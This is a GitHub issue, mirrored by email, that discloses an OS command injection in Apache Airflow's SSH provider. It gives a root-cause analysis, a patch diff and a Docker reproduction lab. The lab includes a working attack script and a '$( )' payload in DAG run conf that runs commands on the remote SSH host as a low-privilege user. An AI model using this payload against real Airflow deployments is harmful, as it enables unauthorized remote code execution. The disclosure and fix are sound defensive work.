nedlir opened a new issue, #74601:
URL: https://github.com/apache/airflow/issues/74601

   ### Under which category would you file this issue?
   
   Providers
   
   ### Apache Airflow version
   
   3.3.2 (core). Affected component: apache-airflow-providers-ssh 4.3.0 → 6.1.0
   
   ### What happened and how to reproduce it?
   
   `SSHRemoteJobOperator.build_posix_wrapper_command` injects user-supplied 
`environment` values into a
   shell script with broken quoting. Each value is single-quote-escaped once, 
then embedded a second time
   inside a single-quoted `job_script='...'` literal, so the value ends up 
**unquoted** in the outer shell
   on the remote host. Any `$( )`, backtick, `;`, or space is executed. A 
low-privilege Airflow user (role
   `USER`) who may only **trigger** a Dag, not author Dags and not read 
connections, gains **arbitrary
   command execution on the remote SSH host** as the connection's service 
account.
   
   | | |
   |---|---|
   | **Type** | CWE-78 (OS Command Injection) / CWE-116 (Improper Encoding) |
   | **Attack vector** | Network; authenticated as low-privilege `USER` role |
   | **Impact** | RCE on the remote SSH target as the connection's Unix user; 
lateral movement with its credentials |
   | **CVSS 3.1 (suggested)** | **8.0 High**, 
`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` |
   | **Windows path** | `build_windows_wrapper_command` has the analogous flaw 
(see the fix below) |
   
   **Trust boundary crossed.** Airflow trusts Dag authors with code execution, 
but not a user who merely
   triggers Dags. Dag authorship is a filesystem/git capability on the Dag 
bundle, which the `USER` role
   does not have. The Dag author here followed the recommended secure pattern 
(fixed `command`; untrusted
   value passed through `environment`, not string-interpolated into the 
command), yet the provider's own
   escaping turns that documented-safe channel into the injection point.
   
   **Root cause.**
   
   ```python
   # airflow/providers/ssh/utils/remote_job.py  (build_posix_wrapper_command)
   escaped_value = value.replace("'", "'\"'\"'")      # escaped for ONE quoting 
level
   env_exports += f"export {key}='{escaped_value}'\n"
   ...
   job_script='
   ...
   export INPUT_FILE='<value>'       # this opening quote CLOSES job_script's 
single-quote
   <command> ...                     # so <value> is evaluated by the OUTER 
shell
   '
   ```
   
   **Reproduce.** A Dag author uses the operator the recommended way, passing a 
trigger-time value through
   `environment`:
   
   ```python
   SSHRemoteJobOperator(
       task_id="process_file",
       ssh_conn_id="etl_ssh",
       command="/opt/etl/run_etl",                       # fixed, 
author-controlled
       environment={"INPUT_FILE": "{{ dag_run.conf.get('input_file', 
params.input_file) }}"},
   )
   ```
   
   A `USER`-role account triggers the Dag via the REST API with a weaponised 
value:
   
   ```jsonc
   POST /api/v2/dags/remote_etl_pipeline/dagRuns
   { "conf": { "input_file": "sales_2024.csv$(id > /tmp/PWNED 2>&1; hostname >> 
/tmp/PWNED)" } }
   ```
   
   The injected command runs on the remote host. Observed output, written on 
the ETL host by the task:
   
   ```
   uid=1001(etluser) gid=1001(etluser) groups=1001(etluser)
   Linux etl-host 7.0.0 ... x86_64 GNU/Linux
   etl-host
   ```
   
   The same account receives HTTP `403` on `GET /api/v2/connections/etl_ssh`. 
It never sees the SSH
   password, yet achieves RCE on the host behind it. A full self-contained 
Docker lab (pinned Airflow 3.3.2
   + ssh 6.1.0 from PyPI) that reproduces this and verifies the fix 
   
   
   
   ### What you think should happen instead?
   
   
   `environment` values must reach the remote command as inert strings. Quote 
each value with
   `shlex.quote()`, then escape the whole export block once more for the 
single-quoted `job_script` literal
   (the treatment the command already gets). With the fix, `;`, `$( )`, 
backticks, and spaces reach the job
   verbatim and nothing executes. This is verified in the lab.
   
   ```diff
   --- a/airflow/providers/ssh/utils/remote_job.py
   +++ b/airflow/providers/ssh/utils/remote_job.py
   @@ def build_posix_wrapper_command(
        env_exports = ""
        if environment:
            for key, value in environment.items():
                _validate_env_var_name(key)
   -            escaped_value = value.replace("'", "'\"'\"'")
   -            env_exports += f"export {key}='{escaped_value}'\n"
   +            env_exports += f"export {key}={shlex.quote(value)}\n"
   +    # env_exports is embedded in the single-quoted job_script literal 
below, so escape it
   +    # at that level too (same treatment the command already gets).
   +    env_exports = env_exports.replace("'", "'\"'\"'")
    
        escaped_command = command.replace("'", "'\"'\"'")
   ```
   
   Windows (`build_windows_wrapper_command`) doubles only ASCII `'`, while 
PowerShell also treats
   U+2018/2019/201A/201B as single quotes, so escape those too:
   
   ```python
   def ps_escape(s: str) -> str:
       return re.sub("['\u2018\u2019\u201a\u201b]", lambda m: m.group(0) * 2, s)
   ```
   
   
   
   ### Operating System
   
   _No response_
   
   ### Deployment
   
   None
   
   ### Apache Airflow Provider(s)
   
   _No response_
   
   ### Versions of Apache Airflow Providers
   
   _No response_
   
   ### Official Helm Chart version
   
   Not Applicable
   
   ### Kubernetes Version
   
   _No response_
   
   ### Helm Chart configuration
   
   _No response_
   
   ### Docker Image customizations
   
   # Operating System
   
   Ubuntu 24.04
   
   # Deployment
   
   Other Docker-based deployment (reproducible Docker Compose lab; default 
`SimpleAuthManager`, attacker uses the `USER` role)
   
   # Apache Airflow Provider(s)
   
   ssh
   
   # Versions of Apache Airflow Providers
   
   ```
   apache-airflow-providers-ssh==6.1.0
   ```
   
   Also present since 4.3.0 (when the operator was introduced), through the 
current release 6.1.0.
   
   # Official Helm Chart version
   
   Not Applicable
   
   # Kubernetes Version
   
   Not Applicable
   
   # Helm Chart configuration
   
   Not Applicable
   
   # Docker Image customizations
   
   The lab uses a stock `ubuntu:24.04` image with `apache-airflow==3.3.2` and
   `apache-airflow-providers-ssh==6.1.0` installed from PyPI (the official 
constraints for core, the
   provider pinned separately to 6.1.0). Full Dockerfiles are in thhis" 
section. No change to
   the provider code; the vulnerability is in the released package.
   
   
   ### Anything else?
   
   
   # Anything else?
   
   Occurs every time the operator runs on a POSIX target with an `environment` 
value containing shell
   metacharacters. Self-contained reproduction lab (installs only released PyPI 
packages). Run
   `docker compose up -d --build`, then `./attack.sh` (result: VULNERABLE); 
`./verify_patched.sh` applies
   the fix in-place and re-runs (result: NOT EXPLOITED, same account, same 
payload, no marker on the host).
   
   <details>
   <summary><code>docker-compose.yml</code></summary>
   
   ```yaml
   services:
     etl-host:
       build: ./etl-host
       container_name: lab-etl-host
       hostname: etl-host
       networks: [labnet]
   
     airflow:
       build: ./airflow
       container_name: lab-airflow
       depends_on: [etl-host]
       networks: [labnet]
       ports: ["8080:8080"]
       environment:
         AIRFLOW_HOME: /opt/airflow
         AIRFLOW__CORE__AUTH_MANAGER: 
airflow.api_fastapi.auth.managers.simple.simple_auth_manager.SimpleAuthManager
         AIRFLOW__CORE__SIMPLE_AUTH_MANAGER_USERS: "admin:ADMIN,analyst:USER"
         AIRFLOW__CORE__LOAD_EXAMPLES: "False"
         AIRFLOW__API__BASE_URL: "http://localhost:8080";
       volumes:
         - ./airflow/dags:/opt/airflow/dags:ro
       command: ["/opt/entrypoint.sh"]
   
   networks:
     labnet:
       driver: bridge
   ```
   </details>
   
   <details>
   <summary><code>airflow/Dockerfile</code></summary>
   
   ```dockerfile
   FROM ubuntu:24.04
   ENV DEBIAN_FRONTEND=noninteractive AIRFLOW_HOME=/opt/airflow 
PATH=/opt/airflow-venv/bin:$PATH
   ARG AIRFLOW_VERSION=3.3.2
   ARG SSH_PROVIDER_VERSION=6.1.0
   ARG PYTHON_VERSION=3.12
   RUN apt-get update && apt-get install -y --no-install-recommends \
           python3 python3-venv python3-dev build-essential libffi-dev 
libssl-dev pkg-config \
           openssh-client curl jq ca-certificates \
       && rm -rf /var/lib/apt/lists/*
   RUN python3 -m venv /opt/airflow-venv && pip install --no-cache-dir 
--upgrade pip
   # Core pinned via official constraints; provider installed separately so 
6.1.0 (latest) wins
   # over the 6.0.1 pin in constraints-3.3.2 (both carry the identical 
vulnerable code).
   RUN 
CONSTRAINTS="https://raw.githubusercontent.com/apache/airflow/constraints-${AIRFLOW_VERSION}/constraints-${PYTHON_VERSION}.txt";
 \
       && pip install --no-cache-dir "apache-airflow==${AIRFLOW_VERSION}" 
--constraint "${CONSTRAINTS}"
   RUN pip install --no-cache-dir 
"apache-airflow-providers-ssh==${SSH_PROVIDER_VERSION}"
   COPY entrypoint.sh /opt/entrypoint.sh
   RUN chmod +x /opt/entrypoint.sh && mkdir -p /opt/airflow/dags
   EXPOSE 8080
   CMD ["/opt/entrypoint.sh"]
   ```
   </details>
   
   <details>
   <summary><code>airflow/entrypoint.sh</code></summary>
   
   ```bash
   #!/usr/bin/env bash
   set -euo pipefail
   export AIRFLOW_HOME=${AIRFLOW_HOME:-/opt/airflow}
   airflow db migrate >/dev/null 2>&1 || airflow db init >/dev/null 2>&1
   airflow connections delete etl_ssh >/dev/null 2>&1 || true
   airflow connections add etl_ssh \
       --conn-type ssh --conn-host etl-host --conn-port 22 \
       --conn-login etluser --conn-password etlpass \
       --conn-extra '{"no_host_key_check": true, "conn_timeout": 15}' >/dev/null
   exec airflow standalone
   ```
   </details>
   
   <details>
   <summary><code>airflow/dags/remote_etl_pipeline.py</code></summary>
   
   ```python
   from __future__ import annotations
   import pendulum
   from airflow.sdk import DAG
   from airflow.providers.ssh.operators.ssh_remote_job import 
SSHRemoteJobOperator
   
   with DAG(
       dag_id="remote_etl_pipeline",
       schedule=None,
       start_date=pendulum.datetime(2024, 1, 1, tz="UTC"),
       catchup=False,
       params={"input_file": "sales_2024.csv"},
       tags=["etl", "ssh"],
   ) as dag:
       SSHRemoteJobOperator(
           task_id="process_file",
           ssh_conn_id="etl_ssh",
           command="/opt/etl/run_etl",                       # fixed; 
extension-less avoids template_ext
           environment={"INPUT_FILE": "{{ dag_run.conf.get('input_file', 
params.input_file) }}"},
           cleanup="always",
           poll_interval=3,
       )
   ```
   </details>
   
   <details>
   <summary><code>etl-host/Dockerfile</code></summary>
   
   ```dockerfile
   FROM ubuntu:24.04
   ENV DEBIAN_FRONTEND=noninteractive
   RUN apt-get update && apt-get install -y --no-install-recommends 
openssh-server coreutils \
       && rm -rf /var/lib/apt/lists/* && mkdir -p /run/sshd
   RUN useradd -m -s /bin/bash etluser && echo 'etluser:etlpass' | chpasswd
   RUN mkdir -p /opt/etl /data \
       && printf '%s\n' '#!/bin/bash' \
           'echo "[etl] processing INPUT_FILE=$INPUT_FILE"' \
           'wc -l "/data/$INPUT_FILE" 2>/dev/null || echo "[etl] no such file: 
$INPUT_FILE"' \
           'echo "[etl] done"' > /opt/etl/run_etl \
       && chmod +x /opt/etl/run_etl \
       && printf 'id,amount\n1,100\n2,250\n' > /data/sales_2024.csv \
       && chown -R etluser:etluser /opt/etl /data
   RUN sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication yes/' 
/etc/ssh/sshd_config
   EXPOSE 22
   CMD ["/usr/sbin/sshd", "-D", "-e"]
   ```
   </details>
   
   <details>
   <summary><code>attack.sh</code> (exploit as the low-privilege 
analyst)</summary>
   
   ```bash
   #!/usr/bin/env bash
   set -euo pipefail
   API="http://localhost:8080";; DAG_ID="remote_etl_pipeline"; 
MARKER="/tmp/PWNED_BY_ANALYST"
   docker compose exec -T etl-host rm -f "$MARKER" 2>/dev/null || true
   ANALYST_PW=$(docker compose exec -T airflow jq -r '.analyst' 
/opt/airflow/simple_auth_manager_passwords.json.generated)
   TOKEN=$(curl -s -X POST "$API/auth/token" -H 'Content-Type: 
application/json' \
       -d "{\"username\":\"analyst\",\"password\":\"$ANALYST_PW\"}" | jq -r 
'.access_token')
   echo "connection read as analyst -> HTTP $(curl -s -o /dev/null -w 
'%{http_code}' \
       "$API/api/v2/connections/etl_ssh" -H "Authorization: Bearer $TOKEN")  
(expect 403)"
   PAYLOAD='sales_2024.csv$(id > '"$MARKER"' 2>&1; uname -a >> '"$MARKER"'; 
hostname >> '"$MARKER"')'
   curl -s -X POST "$API/api/v2/dags/$DAG_ID/dagRuns" -H "Authorization: Bearer 
$TOKEN" \
       -H 'Content-Type: application/json' \
       -d "{\"dag_run_id\":\"attack-$(date 
+%s)\",\"logical_date\":null,\"conf\":{\"input_file\":$(jq -Rn --arg v 
"$PAYLOAD" '$v')}}" >/dev/null
   for _ in $(seq 1 40); do docker compose exec -T etl-host test -f "$MARKER" 
2>/dev/null && break; sleep 3; done
   echo "=== $MARKER on etl-host ==="; docker compose exec -T etl-host cat 
"$MARKER" 2>/dev/null \
       && echo "[VULNERABLE] RCE on etl-host as the SSH service account" || 
echo "[NOT EXPLOITED]"
   ```
   </details>
   
   <details>
   <summary><code>verify_patched.sh</code> (apply the fix in-place and 
re-run)</summary>
   
   ```bash
   #!/usr/bin/env bash
   set -euo pipefail
   
TARGET="/opt/airflow-venv/lib/python3.12/site-packages/airflow/providers/ssh/utils/remote_job.py"
   docker compose exec -T airflow python3 - "$TARGET" <<'PY'
   import sys
   p=sys.argv[1]; s=open(p).read()
   old=('            escaped_value = value.replace("\'", "\'\\"\'\\"\'")\n'
        '            env_exports += f"export {key}=\'{escaped_value}\'\\n"\n')
   new=('            env_exports += f"export {key}={shlex.quote(value)}\\n"\n'
        '    env_exports = env_exports.replace("\'", "\'\\"\'\\"\'")\n')
   assert old in s, "vulnerable lines not found"
   open(p,"w").write(s.replace(old,new,1)); print("patched OK")
   PY
   docker compose restart airflow >/dev/null
   until curl -s -o /dev/null http://localhost:8080/api/v2/version; do sleep 3; 
done
   sleep 5
   ./attack.sh
   ```
   </details>
   
   
   ### Are you willing to submit PR?
   
   - [x] Yes I am willing to submit a PR!
   
   ### Code of Conduct
   
   - [x] I agree to follow this project's [Code of 
Conduct](https://github.com/apache/airflow/blob/main/CODE_OF_CONDUCT.md)
   


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: [email protected]

For queries about this service, please contact Infrastructure at:
[email protected]

Reply via email to